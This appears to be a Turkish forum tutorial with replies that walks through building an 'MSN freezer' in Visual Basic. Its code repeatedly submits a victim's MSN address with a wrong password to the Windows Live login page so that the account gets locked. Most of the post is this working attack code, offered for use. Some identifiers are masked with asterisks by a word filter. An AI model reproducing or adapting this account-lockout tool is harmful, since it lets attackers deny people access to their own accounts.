msn freezer yapımı

evet arkadaşlar msn freezer yapıcagız


COMPENENTLER

1 tane progressbar
2 adet label
2 adet commandbutton
1 adet textbox
1 adet webbrowser

KODLAR




Private Sub Command1_Click()
WebBrowser1.Navigate ("https://mid.live.com/si/login.aspx")
Label1.Caption = "Donduruluyor..."
End Sub

Private Sub Command2_Click()
WebBrowser1.Navigate ("")
WebBrowser1.Stop
ProgressBar1.Value = "0"
Label1.Caption = "Hazır..."
Text1.Text = "Dondurulacak msn adresini buraya yazınız..."
End Sub

Private Sub Form_Load()

End Sub

Private Sub WebBrowser1_********Complete(ByVal pDisp As Object, URL As Variant)
On Error Resume Next
ProgressBar1.Value = "100"
Label1.Caption = "Donduruldu !"
Dim Data As String
Data = w.********.body.innerhtml
WebBrowser1.********.All("LoginTextBox").Value = Text1.Text
WebBrowser1.********.All("PasswordTextBox").Value = ";erkesoft"
WebBrowser1.********.All("PasswordSubmit").Click
If InStr(Data, "Sign in failed.") Then
MsgBox "Donduruldu !"
End If
WebBrowser1.Navigate ("https://mid.live.com/si/login.aspx")
End Sub



arkadaşlar ben yaptım oldu sorunsuz çalısıyo

düzelttim pcde sorun vardı 2 tane açılmış

kodların içindeki o yıldızla ne ??

d
o
c
u
m
e
n
t